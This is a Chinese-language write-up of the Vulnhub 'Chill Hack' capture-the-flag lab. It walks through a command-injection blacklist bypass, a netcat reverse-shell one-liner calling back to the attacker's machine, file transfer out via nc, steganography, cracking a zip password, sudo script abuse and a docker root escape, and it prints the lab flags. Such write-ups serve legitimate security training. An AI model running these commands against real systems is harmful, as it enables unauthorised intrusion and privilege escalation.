[靶场实战]Vulnhub-Chill_Hack Writeup实战思路
靶场下载地址https://www.vulnhub.com/entry/chill-hack-1,622/
废话不多说 直接开始
第一步使用kali扫描内网IP
Arp-scan –l
获得靶场IP为192.168.72.132
对靶场进行端口扫描
Nmap –A –v 192.168.72.132
发现存在21 22 80三个端口
21端口存在匿名访问 咱们先访问看看
ftp 192.168.72.132
用户名使用anonymous 密码为空
成功登陆
查看有什么文件
发现存在一个txt文件 我们查看一下
使用get下载到本地然后打开查看
嗯…好像也没什么用
我们还是先看看80端口的Web服务吧
看上去像是一个体育比赛的官网?
扫描一下目录
发现了一个有趣的URL http://192.168.72.132/secret/index.php
可以执行命令
OK 突破口应该就在这里了
当我输入ls想查看一下当前目录文件的时候
这时我想起来我们那个note.txt文件里的话是什么意思
证明这里有过滤 就是不知道是白名单还是黑名单了
经过我大量测试 该靶场为黑名单验证
那就好办了 绕过吧
出去吃了个饭 回来突然来了思路
将两个指令结合起来 不就成了吗
例如 ls会被拦截
那就 whoami;ls
成功执行 我可真是个小机灵
将该方法和NC反弹一结合 不就拿到shell了?
经过大量测试 发现可用的反弹语句为
dir;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1|nc 192.168.72.130 7777 > /tmp/f
本机监听 nc –lvp 7777
执行 成功拿到一个shell
该shell权限还是较低 并且操作非常不便利 咱们要想办法提权
查找python版本
Which python
成功确认python版本为python3
使用python3将shell进行提升
python3 -c ‘import pty;pty.spawn("/bin/bash")’
成功
该命令不会对电脑有什么危害 但偶尔会有奇效
在这个文件夹下 这个hacker.php引起了我的注意 查看一下吧
在黑暗中我会看到答案?真就人均谜语人呗
在hacker.php中 我们看到images文件夹中有一张图片 应该就是线索所在
咱们进入images文件夹
OK 咱们把这张图片用nc下载下来 也可以用python3开启http服务进行下载 不过我图省事儿 就nc了吧
本地电脑运行 nc –nvlp 4444 > hacker-with-laptop_23-2147985341.jpg
咱们保持原名不动
Shell里运行 nc 192.168.72.130 4444 -w 4 < hacker-with-laptop_23-2147985341.jpg
OK 稍等一会儿 成功下载下来
根据hacker.php中的提示 在黑暗中我们会看到答案 这不就是妥妥的图片隐写吗 不愧是我 最近的柯南没白看
使用steghide查看
果然存在一个名为backup.zip的压缩包 不愧是我
依然使用steghide进行解压
OK 得到了这个名为backup.zip的压缩包文件
我们现在将他解压缩
我丢啊 这里来个密码 成吧 再找
找?找是不可能找的 就咱这暴脾气 爆他!
使用zip2johb生成了一个backup.john文件
咱们使用john爆他
OK 完成
咱们使用john查看密码
密码为pass1word 行吧 经典弱口令
接下来咱们解压文件
成功解压出来
查看解压出来的文件
好家伙 还有个base64编码 解密吧
返回我们的shell 查看一下用户
使用我们得到的密码登入进用户anurodh
成功登入
确认账户密码没问题了 这时候咱们就要用到一开始扫描出的22端口了
毕竟shell是不稳定的 使用ssh服务登入吧
成功登入 有一个稳定的权限的感觉太爽了
这时候肯定就是提权了是吧
直接使用经典的sudo su
失败了 嗯… 情理之中 意料之外
使用sudo –l查看sudo的权限 发现apaar可以提权?那就造他
查看apaar文件夹下的文件
发现apaar下有个txt文件 但由于权限文件我们无法访问
但上述提到了 apaar下有个sh脚本我们可以执行 那就执行它
它需要一个名字 咱们随便输入即可
执行完毕了 但我不知道它有效果
那就阅读一下吧
这个批处理 有点意思啊 似乎可以命令执行
尝试成功 有点意思
既然我们没有权限读取local.txt文件 那就让apaar来读取吧
啊这 我还以为是什么提权的东西呢 结果你告诉我 这就是个flag?
那也行吧 flag1 get {USER-FLAG: e8vpd3323cfvlp0qpxxx9qtr5iq37oww}
OK 咱们继续找其他方法提权吧
输入id查看权限
嗯?docker?要素察觉
我们使用一些提权辅助工具https://gtfobins.github.io/ 在里面搜搜docker
使用此命令即可提权docker run -v /:/mnt --rm -it alpine chroot /mnt sh
提权成功
进入root目录 拿到最后一个flag
Flag2 get {ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}
总结语:怎么说呢,这个靶场还是挺有意思的。我起初以为就是简单的一个命令执行getshell以后一个脚本提权就拿下了。没想到还有这么多步骤,挺严谨的吧